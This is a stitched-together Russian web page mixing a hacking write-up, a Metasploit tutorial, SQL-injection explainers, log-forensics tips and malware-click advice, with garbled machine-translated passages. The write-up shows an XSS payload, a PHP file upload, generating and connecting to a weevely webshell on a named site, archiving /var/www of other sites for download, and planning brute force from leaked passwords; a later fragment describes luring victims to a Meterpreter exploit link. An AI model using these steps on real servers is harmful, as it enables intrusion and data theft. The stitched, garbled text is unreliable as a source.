Table of contents

Как установить metasploit framework в kali linux

Что станет с украденными стилером данными?

Заполучив пароли и другую информацию из браузера в открытом виде, зловред отправит ее своим хозяевам. Дальше возможны два варианта: либо создатели зловреда воспользуются ею сами, либо, что более вероятно, продадут на черном рынке другим киберпреступникам — такой товар всегда в цене.

Так или иначе, если среди сохраненной информации были ваши логины и пароли, то у вас, скорее всего, угонят парочку аккаунтов и попытаются развести на деньги ваших друзей. Если вы хранили в браузере данные банковских карт, убытки могут оказаться более прямыми — ваши деньги потратят или переведут на свои счета.

Также краденные аккаунты могут использоваться со множеством других целей — от распространения спама и раскрутки сайтов или приложений, до рассылки вирусов и отмывки денег, украденных у других людей (и если этой активностью заинтересуется полиция, то с вопросами придут к вам).

1. Поиск уязвимостей в веб-приложении

Сайт представлял собой написанное с нуля веб-приложение. Для использования функций требуется ввести логин и пароль, но предусмотрен гостевой вход, поэтому на сайте прямо на главной странице написаны гостевые учётные данные для входа.

Выполняемые действия сохраняются в Истории. У действия есть заголовок и определённый текст. Оказалось, что хранимые поля не фильтруются на специальные символы и слова, поэтому быстро удалось найти и подтвердить уязвимость XSS — то есть кода в поле вводишь что-нибудь вроде

<script>alert(1)</script>

а на странице сайта (в данном случае в История) показывает всплывающее окно JavaScript.

С помощью такой уязвимости можно, например, похитить кукиз других пользователей. Но проблема в том, что, видимо, История, у каждого пользователя своя. То есть максимум, что я могу сделать в этой ситуации, это захватить кукиз пользователей с точно такими же правами как у меня — то есть только у пользователей, выполнивших вход под гостевой учётной записью. Возможно, админу доступен список Истории всех пользователей — но не факт. Плюс надо ещё придумать, как спровоцировать его зайти в Историю — а то может получиться так, что в следующий раз он туда зайдёт через год, или через два, или никогда.

Поскольку видно, что специальные символы не фильтруются, а данные, скорее всего, хранятся в базе данных, то это может означать, что должна присутствовать уязвимость SQL-инъекция, которая позволяет получить базу данных сайта. Но я не успел это проверить — обнаружилась намного более лёгкая уязвимость — небезопасная выгрузка файлов.

Суть в том, что если я запускал новое действие, то мне для ввода были доступны несколько полей — в них я и обнаружил XSS и мог обнаружить SQL-инъекцию. Но при открытии сохранённого действия из Истории, на странице появлялось ещё одно поле — для загрузки файла!!!

У меня появилась умеренная радость: с одной стороны, на множество сайтов можно загружать файлы, но благодаря ограничению на расширения загружаемых файлов, а также способу доступа к ним, практически невозможно загрузить код, который можно выполнить на сервере. Но безалаберность с фильтрацией данных в текстовых полях вселяла некоторую надежду.

Я создал файл

<?php

phpinfo();

В чём ошибки программиста:

Такой безалаберный стиль программирования нельзя совмещать с публичной учётной записью. То есть если бы на главной странице не были написаны учётные данные для входа, то поиск и эксплуатация этих уязвимостей сильно бы затянулись.

И более главное: при написании кода всегда нужно фильтровать данные и ограничивать файлы, которые можно загружать на сервер. Даже если вы программируете «для себя» и держите файлы на локальном сервере у себя на компьютере, всё равно может случиться неприятность — кто-то может подключиться к вашему веб-серверу по локальной сети (при использовании публичным Интернетом), или ваш компьютер может быть доступен напрямую по белому IP. Очевидно, что для публичного сайта код должен писаться с постоянной мыслью о безопасности.

Что такое SOL-инъекция?

Говоря простым языком – это атаки на базу данных. Эта атака заставляет код, который написал программист, работать не так как планировалось.

Пример из жизни. Папа оставил на столе записку маме «Дай Ване 10 рублей», но написал записку корявым почерком. Хитрый сынок Ваня пришел раньше, чем мама и дописал еще один ноль. Получилось письмо следующего содержания: «Дай Ване 100 рублей».

Так вот записка из примера – это SQL-запрос, который папа отправил маме, а хитрый сынок – хакер, который умеет менять запросы, потому что знает, как они работают.

А вот уже пример SQL-инъекции. Сайт ждет, что пользователь отправит данные, например имя. После того как он получил имя пользователя, он с помощью SQL сохраняет его в базу данных. Так вот вместо конкретных данных (в нашем случае имени) хакер может отправить SQL-запрос. И то что получит сайт будет рассматриваться не как информация, которую нужно сохранить, а как команда которую нужно выполнить.

7. Анализ добытых паролей

База данных раскрыла много интересной информации. Но самая интересная — это список пользователей с паролями.

Это важно — пользователь имеет тенденцию использовать одинаковые пароли — это отдельная уязвимость, между прочим.

Но ещё интереснее анализ всех паролей пользователей — почти все они шестизначные числа! Видимо, учётные данные генерировал и выдавал администратор. У администратора склонность создавать однотипные пароли — учтём это. То есть если придётся брут-форсить службы на этом сервисе (а нам придётся ), то я уже знаю, каким будет словарь — это будет полный список чисел из шести цифр.

Ну и вообще — если пароли одинаковые, то есть смысл поискать другие службы — вдруг туда тоже подойдут уже имеющиеся у нас логины и пароли.

2. Загрузка бэкдора

В начале я хотел воспользоваться самым простым вариантом — c99unlimited.php. Это шелл в фиде файлового менеджера и в нём удобно бродить по каталогам и скачивать файлы. Но у меня он не заработал — выдал ошибку 500. Видимо, у сервера с ним какая-то несовместимость.

Это абсолютно не проблема, разнообразных шеллов в Webshells очень много — можно долго сидеть и выбирать тот, который понравится, но я решил воспользоваться ещё более любимым Weevely. У меня к этому инструменту ещё более чувства )))) Хотя у него интерфейс командной строки — так мне нравится даже больше.

Создаём новый бэкдор (да, пароль просто цифра 1):

weevely generate 1 test.php

Заливаем его на сервер.

И подключаемся к нему:

weevely https://site.ru/upload/8579.php 1

Что такое Метасплоит?

Metasploit Framework — это проект с открытым исходным кодом, который предоставляет общедоступный ресурс для повторного использования.archiобнаружение уязвимостей и разработка кода, который позволяет специалистам по безопасности проникать в их собственную сеть и выявлять риски безопасности и уязвимости. Metasploit недавно был приобретен Rapid 7 (https://www.metasploit.com). Однако сообщениеunity версия Metasploit все еще доступна на Kali Linux. Metasploit на сегодняшний день является наиболее используемой в мире утилитой для проникновения..

Важно соблюдать осторожность при использовании Metasploit, поскольку в некоторых случаях сканирование чужой сети или среды может считаться незаконным. В этом Kali Linux В руководстве по Metasploit мы покажем вам, как запустить Metasploit и выполнить базовое сканирование Kali Linux. Metasploit считается продвинутой утилитой, и для ее освоения потребуется некоторое время, но после знакомства с приложением она станет бесценным ресурсом

Metasploit считается продвинутой утилитой, и для ее освоения потребуется некоторое время, но после знакомства с приложением она станет бесценным ресурсом.

Метасплоит и Nmap

В Metasploit мы действительно можем использовать Nmap. В этом случае вы узнаете, как сканировать локальную VirtualBox подсеть из Metasploit с помощью утилиты Nmap, о которой мы только что узнали.

Шаг 1) On вкладка «Приложения»прокрутите вниз до 08-Инструменты эксплуатации и затем выберите Metasploit

Шаг 2) Терминал box откроется, с MSF в диалоге это Metasploit

Шаг 3) Введите следующееwing команду

db_nmap -V -sV 10.0.2.15/24

(обязательно замените 10.0.2.15 на свой локальный IP-адрес)

Вот:

db_ означает базу данных

-V означает подробный режим

-sV означает определение версии службы.

Утилита эксплойта Metasploit

Metasploit очень надежен благодаря своим функциям и гибкости. Одним из распространенных вариантов использования Metasploit является эксплуатация уязвимостей. Ниже мы рассмотрим этапы проверки.wing некоторые эксплойты и попытка эксплуатировать Windows 7 Машина.

Шаг 1) Предполагая, что Metasploit все еще открыт, введите Хосты -Р в окне терминала. Это добавит недавно обнаруженные хосты в базу данных Metasploit.

Шаг 2) Войти «показать подвиги«Эта команда предоставит всесторонний обзор всех эксплойтов, доступных Metasploit.

Шаг 3) Теперь попробуйте сузить список с помощью этой команды: имя поиска: Windows 7, эта команда ищет эксплойты, которые включают в себя windows 7, для целей этого примера мы попытаемся использовать Windows 7 Машина. В зависимости от вашей среды вам придется изменить параметры поиска в соответствии с вашими критериями. Например, если у вас Mac или другой компьютер с Linux, вам придется изменить параметр поиска, чтобы он соответствовал этому типу компьютера.

Шаг 4) Для целей этого урока мы будем использовать Apple Itunes уязвимость обнаружен в списке. Чтобы использовать эксплойт, мы должны ввести полный путь, который отображаетсяyed в списке: использовать эксплойт/windows/обзор/яблоко_itunes_плейлист

Шаг 5) Если эксплойт успешен, командная строка изменится и отобразит имя эксплойта, за которым следует > как показано на скриншоте ниже.

Шаг 6) Enter показать параметры чтобы просмотреть, какие варианты доступны для эксплойта. Разумеется, каждый эксплойт будет иметь разные варианты.

Как скачать исходный код сайтов с сервера

Ах да, зачем я вдруг кинулся искать папку с правом на запись? Дело в том, что мне надо скачать файлы с исходным кодом — для дальнейшего анализа «в спокойной обстановке». Этих файлов много и скачивать их все по одному займёт много времени. Поэтому у меня план такой — запаковать все файлы в архив, а архив скачать.

Само собой, можно воспользоваться услугами папки /tmp, которая всегда открыта на запись для всех желающих. Но из папки /tmp я могу скачать только с помощью Weevely. Но если мне удастся сохранить архив в папку веб-сервера, то я могу скачать его прямо из веб-браузера или любой файловой качалкой. Это особенно актуально, если файл очень большой — может пригодиться докачка файла после разрыва соединения, что в командной строке с Weevely сделать не получится.

Понятно, что если мы в папке /var/www/XX1/tmp, то папкой веб-сервера является /var/www/. Посмотрим что там в ней:

ls -l /var/www/

А в ней папки других сайтов — в общей сложности 14 штук, но показать их я уже не могу.

Смотрим в шпаргалку, чтобы сохранить файлы в архив командой zip дополнительно нужно использовать опцию -r для рекурсивного добавления всего, что находится в папках, запускается следующим образом:

zip -r имя_нового_архива.zip каталог_для_архивации

Каталогом для архивации является /var/www/, архив я пока сохраню в директорию /tmp (а не в папку с сайтами, так как получится, что мы попытаемся сохранить архив в папке, которая добавляется в этот архив — возможно, это вызовет ошибку).

Запускаем команду:

zip -r /tmp/archive.zip /var/www/

На что мне возвращается сообщение:

sh: 1: zip: not found

Чёрт, на этом сервере не установлена программа zip. Можно воспользоваться встроенным эмулятором архивирования Weevely, но попробую ещё другую программу:

tar czf /tmp/archive.tgz /var/www/

А вот программа tar оказалась на сервере. Внутренние команды означают:

  • c — создать архив
  • z — алгоритм сжатия
  • f — после этой опции указывается путь до архива и имя файла

Переносим архив в папку веб-сервера, где он теперь доступен для скачивания даже с помощью браузера:

mv /tmp/archive.tgz /var/www/XX1/tmp

Чтобы узнать размер всех подпапок в папке /var/www/:

du -sh /var/www/*

Если нужно скачать только некоторые папки, то это делается командой вида:

tar czf архив.tgz папка_в_архив_1 папка_в_архив_2 папка_в_архив_3 папка_в_архив_4

Как найти нужные данные

Начните с просмотра Лога ошибок, это может дать подсказку для поиска взлома в Логах доступа.

Если вы увидели, что кто-то пытался получить доступ к файлам, которые обычный посетитель не должен посещать, но хакер может, тогда обратите внимание на этот IP. Хакер может попытаться получить доступ к файлам .htaccess, wp-config.php, install.php и другим подобным. Пример ошибки в Логе ошибок:

Пример ошибки в Логе ошибок:

AH01630: client denied by server configuration: /путь/к/вашему/сайту/.htaccess

В этом примере сервер отказал пользователю в доступе к файлу .htaccess, потому что у него не было разрешения на просмотр этого файла. Если вы не узнаете этот IP адрес, и это не ваш адрес, то это определенно попытка взлома.

Если вы не знаете свой IP адрес, узнайте его здесь, или спросите в поисковике «мой IP адрес».

Для загрузки страницы обычно требуется загрузить много компонентов — картинки, скрипты, стили, поэтому нормально видеть, что один и тот же IP получает доступ к одной странице несколько раз, как в этом примере:

Но не нормально, если один и тот же IP много раз пытается получить доступ к файлам, к которым обычно требуется получить доступ несколько раз за сессию, особенно если пользователь обращается ко всем файлам подряд и раз в несколько секунд. Если вы видите повторяющиеся запросы к одним и тем же файлам, это может говорить о том, что это хакер или хакбот.

В этом примере вы видите, что пользователь обратился к странице ~/wp-login.php в первой строке, и запрос был успешным.

После того, как загрузились все нужные файлы, пользователь был успешно авторизован и направлен на страницу Консоли в строке 5. Следующим действием администратор прошел в редактор плагинов в строке 9.

В этом примере вы видите подозрительную активность, так как не все пользователи после авторизации пойдут в редактор тем или плагинов, но хакер пойдет. Еще это значит, что хакер знает логин и пароль администратора.

Если вы видите в логе ошибок и логе доступа, что было много неудачных попыток зайти на сайт или обращений к странице восстановления пароля, и после этого вы видите удачную попытку, то вы нашли хакера, который подобрал логин и пароль для входа на сайт.

Большое количество неудачных попыток войти на сайт перед последней удачной попыткой будут иметь один из 400-х ответов сервера:

  • 400 Bad Request — Ошибка синтаксиса или неверный запрос.
  • 401 Unauthorized — Эта ошибка появляется, когда требуется авторизация для просмотра страницы, но она не была дана, или она недействительна.
  • 403 Forbidden — аналогично с ошибкой 401, этот ответ означает, что пользователь не имеет прав для просмотра этой страницы. То есть, технически доступ разрешен, но сервер запретил доступ этому пользователю.
  • 429 Too Many Requests — Слишком много запросов за определенный период времени. Обычно пользователи не видят такой ответ, такая ошибка может указывать на активность какого-то бота.

Это не весь список ошибок, которые вы можете увидеть, но смысл в том, что описание событий может дать подсказку, что произошло с сайтом.

Самая сложная часть в просмотре логов доступа — это большое количество записей, даже для маленьких сайтов. Обычный вход администратора на сайт описывается 10 событиями в журнале, даже если он больше ничего не делал, поэтому размер лога становится большим на маленьких сайтах, и очень большим — на больших.

Проверка

Чтобы проверить, что все получилось, входим в систему с логином и паролем (рис. 36).

Рис. 36. Аутентификация в сервисе

Как видно из рис. 37, аутентификация успешно пройдена.

Рис. 37. Аутентификация пройдена

После входа система отобразила заданное при создании имя: «Пользователь: The_SQL_injection_Bypass».

Мысли вслух

Ты спросишь: если у тебя есть не ограниченная санитизацией, типизацией и вaлидацией SQLi к базе данных сервера, то почему бы тебе просто не выложить shell или сдампить файлы? Ответ прост: пользователь СУБД, из-под которого была проведена данная SQLi, не обладает правами на доступ к файловой системе.

Что такое SQL?

Прежде чем перейти к описанию процесса взлома с помощью SQL-инъекций, сначала разберемся, что собой представляет SQL. SQL – язык программирования, который работает с базами данных. С помощью этого языка информация в базу добавляется и удаляется. Чтение, редактирование и остальные действия происходят с помощью SQL.

Авторизация на сайте – это способ передать информацию в базу данных. Еще один способ – с помощью адресной строки, в которую вы пишите адрес сайта, на который переходите. Например, введите в поиске Яндекса фразу «SQL-инъекция» и в адресной строке увидите следующую строчку: «https://yandex.ua/search/?text=sql%20%инъекция &lr=142». Эта строчка передалась на сервер Яндекса. Как вы видите, в ней содержится информация поиска, а конкретно – «text=sql%20%инъекция &lr=142». Так вот, редактируя адресную строку вручную, вы можете отправлять на сайт информацию. В том числе и запросы SQL.

Руководство по Metasploit

Страница man отсутствует.

Основные команды
=============

    Команда       Описание
    -------       -----------
    ?             Меню помощи
    advanced      Показать продвинутые опции для одного или более модулей
    back          Вернуться назад из текущего контекста
    banner        Показать шикарный баннер metasploit 
    cd            Поменять текущую рабочую директорию
    color         Переключатель света
    connect       Связаться с хостом
    edit          Отредактировать текущий модуль с $VISUAL или $EDITOR
    exit          Выйти в консоль
    get           Получить значение переменной с учетом текущего контекста
    getg          Получить значение глобальной переменной
    grep          Grep вывод другой команды
    help          Меню помощи
    info          Отобразить информацию об одном или более модулей
    irb           Отбросить в режим сценариев irb
    jobs          Отображение и управление работами
    kill          Убить работу
    load          Загрузить плагин фреймворка
    loadpath      Поиск и загрузка модулей из расположения
    makerc        Начиная с запуска сохранить введённые команды в файл
    options       Отобразить глобальные опции для одного или более модулей
    popm          Извлекает последний модуль из стека и делает его активным
    previous      Установить предыдущий загруженный модуль в качестве текущего модуля
    pushm         Поместить активный или список модулей в стек модулей
    quit          Выйти из консоли
    reload_all    Перезагрузить все модули из указанного пути модулей
    rename_job    Переименовать работу
    resource      Запустить команды размещённые в файле
    route         Маршрут трафика через сессию
    save          Сохранить активные datastores
    search        Поиск модулей по имени и описанию
    sessions      Сбросить списки сессий и отобразить информацию по сессиям
    set           Установить значение переменной с учетом текущего контекста
    setg          Установить значение глобальной переменной
    show          Показать модули данного типа или все модули
    sleep         Ничего не делать данное количество секунд
    spool         Писать консольный вывод в файл и на экран
    threads       Просматривать и управлять фоновыми потоками
    unload        Выгрузить плагин фреймворка
    unset         Сброс одной или более переменной с учетом текущего контекста
    unsetg        Сброс одной или более глобальной переменной
    use           Выбрать модуль по имени
    version       Показать версии фреймворка и консольной библиотеки


Команды по управлению базой данных
=========================

    Команда           Описание
    -------           -----------
    creds             Список всех учётных данных в базе данных
    db_connect        Подключиться к существующей базе данных
    db_disconnect     Отключиться от текущего экземпляра базы данных
    db_export         Экспорт файла, содержащего контенты базы данных
    db_import         Импорт файл с результатами сканирования (тип файла будет определён автоматически)
    db_nmap           Выполнить nmap и автоматически записать вывод
    db_rebuild_cache  Пересоздать кэш модулей, содержащийся в базе данных
    db_status         Показать текущий статус базы данных
    hosts             Список всех хостов в базе данных
    loot              Список всей добычи в базе данных
    notes             Список всех заметок в базе данных
    services          Список всех служб в базе данных
    vulns             Список всех уязвимостей в базе данных
    workspace         Переключиться между рабочими пространствами базы данных

Что делать, если вы нажмете на ссылку вредоносного ПО

Возможно, вы случайно нажали на ссылку, которую считаете подозрительной. Это нормально, такие вещи случаются. Но вы должны предпринять следующие шаги, чтобы обезопасить себя от вредоносных программ:

  1. Успокойся, Вам не нужно паниковать. Если вы нажали только одну ссылку на вредоносное ПО, то, скорее всего, все будет в порядке. Просто выполните следующие шаги, чтобы убедиться.

    Image

  2. Отключиться от интернета, Вредоносные программы могут распространяться с вашего устройства на другие устройства в вашей сети и могут общаться через Интернет. Поэтому, если вы считаете, что имеете дело с заражением вредоносным ПО, первое, что нужно сделать, — отключить устройство. Вы можете сделать это, отключив кабель для проводного Интернета или отключив Wi-Fi и мобильные данные на устройстве Wi-Fi.
  3. Используйте диспетчер задач, чтобы убить ваш браузер, Вы хотите уйти с вредоносного сайта и уничтожить все процессы, которые могут выполняться на вашем устройстве. Лучший способ сделать это — использовать диспетчер задач на вашем устройстве, чтобы убить ваш браузер.
  4. Отклонить любые загрузки, которые пытаются начать, Когда вы нажимаете на ссылку вредоносного ПО, вы переходите на веб-страницу, где, вероятно, начнется автоматическая загрузка. Вы не должны разрешать вашему браузеру загружать файлы автоматически, поэтому браузер обычно спрашивает вас, хотите ли вы загрузить файл. Если вы нажмете «Отмена», загрузка не начнется, и вы, вероятно, в безопасности.
  5. Если вы загружаете файл, не открывайте его, Вы должны получить предупреждение, если ваш браузер пытается запустить файл.exe или другой потенциально опасный тип файла. Отмените автозапуск и удалите файл сразу.
  6. Откройте свой браузер, Одна проблема, которая может возникнуть, заключается в том, что вредоносные веб-страницы не позволяют вам закрывать их с помощью Javascript. Вы можете убить браузер в диспетчере задач, но когда вы снова откроете браузер, ваши вкладки будут запомнены, и страница с вредоносным ПО откроется снова. Чтобы избежать этого, откройте браузер, пока вы все еще не подключены к Интернету. Таким образом, вы можете закрыть вкладку с вредоносным сайтом, прежде чем он сможет подключиться к Интернету и отобразить вредоносный Javascript.
  7. Очистить кеш, Чтобы избавиться от каких-либо затяжных файлов от посещения вредоносного сайта, очистите кеш браузера.
  8. Запустите сканирование вредоносных программ, Чтобы проверить, было ли ваше устройство заражено вредоносным ПО, и, если оно есть, удалить его, немедленно используйте утилиту сканирования вредоносного ПО. Существует множество вариантов сканеров вредоносных программ, но Malwarebytes — это популярный инструмент, который вы можете получить бесплатно.
  9. Пользователи Android: запустите сканер рута, Если вы работаете на Android, возможно, вы захотите сделать еще один шаг и запустить сканер корневого набора, просто чтобы быть уверенным, что вы обнаружили все потенциальные вредоносные программы.
  10. Используйте защиту от вредоносных программ в режиме реального времени. Чтобы предотвратить проблемы в будущем, вы должны получить антивирусное программное обеспечение с защитой в реальном времени, которая будет отклонять большинство попыток установки вредоносного ПО. Однако помните, что ваше программное обеспечение является настолько точным, насколько его самое последнее обновление. Обязательно регулярно обновляйте и операционную систему, и антивирусное программное обеспечение, чтобы защитить вас от новейших угроз.

Как взломать браузер. Выбор начинки.

Осталось простое: выбрать пэйлоуд. Конечно же, это будет возможность захвата контроля над системой через метерпретер. Выбираем традиционный в этих случаях (ривёрс годится только против конкретных машин, если попробуете атаковать оргпнизацию – сессия сразу прекратится):

Осталось проверить, что хакеру нужно указать перед созданием ссылки. Пошла команда:

Большинство условий выполнено, но для корректной работы в условиях виртуальной машины нам нужно добавить некоторые значения для системы злоумышленника для пустых полей. Так, мы установим адрес:

где 192.168.0.100 – адрес Кали (сеть, как видите, виртуальная)

Проверять повторно командой show options не будем. Связка эксплойта и пэйлоуда готовы. Хакер запускает сервер:

где флаг -j означает, что процесс будет запущен в рабочем режиме фоном. Условия здесь же:

Кали остаётся работать с запущенным сеансом, а хакер теперь размещает ссылку ( ) на любом ресурсе. Что будет сопровождаться в описании к ней, можно только догадаться.

Понравилась статья? Поделиться с друзьями:
Цифровой взгляд 👁
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: